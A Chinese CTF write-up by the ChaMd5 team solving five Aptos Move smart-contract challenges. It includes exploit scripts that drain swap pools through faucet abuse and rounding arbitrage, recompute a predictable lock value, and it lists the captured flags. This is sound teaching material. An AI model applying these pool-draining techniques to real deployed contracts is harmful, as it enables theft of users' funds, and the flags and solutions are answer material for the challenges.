招新小广告CTF组诚招re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱
[email protected](带上简历和想加入的小组)
本文是对比赛的时候没做出来题目的一次复盘。
checkin
题目给了源代码:
module ctfmovement::checkin {
use std::signer;
use aptos_framework::account;
use aptos_framework::event;
struct FlagHolder has key {
event_set: event::EventHandle<Flag>,
}
struct Flag has drop, store {
user: address,
flag: bool
}
public entry fun get_flag(account: signer) acquires FlagHolder {
let account_addr = signer::address_of(&account);
if (!exists<FlagHolder>(account_addr)) {
move_to(&account, FlagHolder {
event_set: account::new_event_handle<Flag>(&account),
});
};
let flag_holder = borrow_global_mut<FlagHolder>(account_addr);
event::emit_event(&mut flag_holder.event_set, Flag {
user: account_addr,
flag: true
});
}
}
审计后一目了然,只要调用get_flag函数就可以获得flag。
aptos move run --function-id 0x3dd3f092f3329fba1818779cc7940b681e37277c43b88f1ac0ebf8b67b7879e3::checkin::get_flag
提交hash后拿到flag
flag{#AKHsfaf-33SFxfGA-H134aB-2022CTFMovement-#}!48e986dd-13f0-49e8-87ef-faa49f3a5c0b
hello move
第二题在拿flag之前需要将挑战初始化并且通过三个小关卡。
在拿到flag之前需要让res的三个属性q1,q2,q3都为true。
一开始我们的账号当然不会有Challenge这个资源,需要首先调用init_challenge函数来获得。
给了一个vector,后四个元素已知,需要爆破前四个元素,满足hash等于d9ad5396ce1ed307e8fb2a90de7fd01d888c02950ef6852fbc2191d2baf58e79。需要知道aptos_hash::keccak256是如何处理vector的:
可以写一个python脚本来爆破:
k = sha3.keccak_256()
for a in range(256):
for b in range(256):
for c in range(256):
for d in range(256):
k.update(bytes([a, b, c, d, 109, 111, 118, 101]))
if k.hexdigest() == 'd9ad5396ce1ed307e8fb2a90de7fd01d888c02950ef6852fbc2191d2baf58e79':
print([a, b, c, d])
from sympy.ntheory import discrete_log
result = discrete_log(18446744073709551616, 18164541542389285005, 10549609011087404693)
print(result)
在add函数中,选择为2并且number等于0的时候可以让res.balance < Initialize_balance。
最后写个exp:
script {
fun call_init_challenge(account: signer) {
ctfmovement::hello_move::init_challenge(&account);
ctfmovement::hello_move::hash(&account, vector[103u8, 111u8, 111u8, 100u8]);
ctfmovement::hello_move::discrete_log(&account, 3123592912467026955u128);
ctfmovement::hello_move::add(&account, 2u8, 0u8);
ctfmovement::hello_move::get_flag(&account);
}
}
提交hash后获得flag flag{#PWabg61-27LKScx1-pmz5QR-2022CTFMovement-#}!6ff6d330-396d-4b8e-82f0-452df95a62f8
simple swap
这题代码初看比前面的更加复杂。 需要让simple_coin_balance大于10000000000才可以获得flag:
合约里面存在两种货币,SimpleCoin和TestUSDC。通过claim_faucet函数能够获得不限量的TestUSDC,并且可以将TestUSDC换成SimpleCoin。
在swap_exact_x_to_y_direct函数中,能获得的是(amount_in*reserve_out)/(reserve_in+amount_in)/1000,很显然只要TestUSDC足够多,Pool里面的SimpleCoin迟早会被换完,可以写一个script来拿flag。
script {
use std::signer::address_of;
use aptos_framework::coin;
fun exp(account: &signer) {
let addr = address_of(account);
coin::register<ctfmovement::simple_coin::SimpleCoin>(account);
ctfmovement::simple_coin::claim_faucet(account, 100000000000000000);
while(true) {
let balance = coin::balance<ctfmovement::simple_coin::SimpleCoin>(addr);
if (balance > 10000000000) {
break;
};
let (s, u) = ctfmovement::swap::pool_reserves<ctfmovement::simple_coin::SimpleCoin, ctfmovement::simple_coin::TestUSDC>(
);
let usdc_swap = coin::withdraw<ctfmovement::simple_coin::TestUSDC>(account, u);
let (out, reward) = ctfmovement::swap::swap_exact_y_to_x_direct<ctfmovement::simple_coin::SimpleCoin,
ctfmovement::simple_coin::TestUSDC>(usdc_swap);
coin::deposit(address_of(account), out);
coin::deposit(address_of(account), reward);
};
ctfmovement::simple_coin::get_flag(account);
}
}
flag{#es89QK4-Qkas9HJ3-TRqo12-2022CTFMovement-#}!37809981-4912-4604-a382-dd947b05b140
swap empty
这一题很像Ethernaut的Dex(https://ethernaut.openzeppelin.com/level/0x9CB391dbcD447E645D6Cb55dE6ca23164130D008),也是一个套利的游戏。
游戏开始可以通过get_coin函数来分别获得5个coin1和coin2。
拿到flag的条件是让任意一个池子里coin的数量为0:
初始池子里有50个coin1和50个coin2,我们手里有5个coin1和5个coin2,为了方便理解我用一个表格来说明:
交易池coin1 | 交易池coin2 | 汇率1-2 | 汇率2-1 | 用户coin1 | 用户coin2 | 兑换币种 | 兑换后用户coin1 | 兑换后用户coin2 |
---|---|---|---|---|---|---|---|---|
50 | 50 | 1 | 1 | 5 | 5 | coin1 | 0 | 10 |
55 | 45 | 0.82 | 1.22 | 0 | 10 | coin2 | 12 | 0 |
43 | 55 | 1.28 | 0.78 | 12 | 0 | coin1 | 0 | 14 |
可以看到,随着交易次数变多,实际的汇率也会越来越大,最终会将交易池掏空。我写了个python脚本更加直观表示:
state = {
'coin1_balance': 5,
'coin2_balance': 5,
'coin1_reserve': 50,
'coin2_reserve': 50,
}
def get_swap_out(amount, order):
coin1 = state['coin1_reserve']
coin2 = state['coin2_reserve']
if order:
print(coin2/coin1)
return (amount*coin2/coin1)
else:
print(coin2/coin1)
return (amount*coin1/coin2)
def swap_coin1_to_coin2(amount):
state['coin1_balance'] -= amount
state['coin2_balance'] += get_swap_out(amount, True)
state['coin1_reserve'] += amount
state['coin2_reserve'] -= get_swap_out(amount, True)
def swap_coin2_to_coin1(amount):
state['coin2_balance'] -= amount
state['coin1_balance'] += get_swap_out(amount, False)
state['coin2_reserve'] += amount
state['coin1_reserve'] -= get_swap_out(amount, False)
count = 0
for i in range(100):
print(state)
swap_coin1_to_coin2(state['coin1_balance'])
count += 1
print(state)
swap_coin2_to_coin1(state['coin2_balance'])
count += 1
print(count)
最终可以写一个script来模拟每次的调用,手动操作的话,我尝试了大概不到十次就可以清空coin1
script {
use aptos_framework::coin;
use std::signer::address_of;
fun hack(account: &signer, order: bool, amount: u64) {
// ctfmovement::pool::get_coin(account);
let addr = address_of(account);
if(order){
let coin1 = coin::withdraw<ctfmovement::pool::Coin1>(account, amount);
let res = ctfmovement::pool::swap_12(&mut coin1, amount);
coin::destroy_zero(coin1);
coin::deposit<ctfmovement::pool::Coin2>(addr, res);
}
else{
let coin2 = coin::withdraw<ctfmovement::pool::Coin2>(account, amount);
let res = ctfmovement::pool::swap_21(&mut coin2, amount);
coin::destroy_zero(coin2);
coin::deposit<ctfmovement::pool::Coin1>(addr, res);
}
}
}
flag{#FoSGsL0-BHKlsf27-wjBK92-2022CTFMovement-#}!b5fb37c0-dccc-47fc-93c8-c16b77701093
move lock v2
加密函数虽然看上去十分复杂,但是分析后发现seed与执行次数以及时间有关,所以可以把代码复制一份到自己的module里面,计算出result后调用原本module里面的unlock。
entry public fun hack(user: &signer) acquires Counter {
let result = unlock(user);
ctfmovement::move_lock::unlock(user, result);
}
public fun unlock(user : &signer) : u128 acquires Counter {
let encrypted_string : vector<u8> = encrypt_string(BASE);
let res_addr : address = account::create_resource_address(&@ctfmovement, encrypted_string);
let bys_addr : vector<u8> = bcs::to_bytes(&res_addr);
let i = 0;
let d = 0;
let cof : vector<u8> = vector::empty<u8>();
while ( i < vector::length(&bys_addr) ) {
let n1 : u64 = gen_number() % (0xff as u64);
let n2 : u8 = (n1 as u8);
let tmp : u8 = *vector::borrow(&bys_addr, i);
vector::push_back(&mut cof, n2 ^ (tmp));
i = i + 5;
d = d + 1;
};
let pol : Polynomial = constructor(d, cof);
let x : u64 = gen_number() % 0xff;
let result = evaluate(&mut pol, x);
result
}
最后还需要修改increment函数和init_module函数:
因为加密函数里面有get_script_hash,所以hack函数需要被一个script调用。
script {
fun exp(account: &signer) {
ctfmovement_hacker::hack::solve(account);
}
}
最后拿到flag flag{#uwx17DW-BZ10WE8w-LQE85e-2022CTFMovement-#}!15b59eb0-2808-4ae8-8413-0d0344cda32b
参考链接
https://leoq7.com/2022/12/CTF-Movement-Aptos/ https://gist.github.com/cryptowen/de38b9b1cc1915c1f3f21e652944296b
– END –
招新小广告
ChaMd5 Venom 招收大佬入圈
新成立组IOT+工控+样本分析 长期招新
原文始发于微信公众号(ChaMd5安全团队):2022MOVEment Aptos writeup by ChaMd5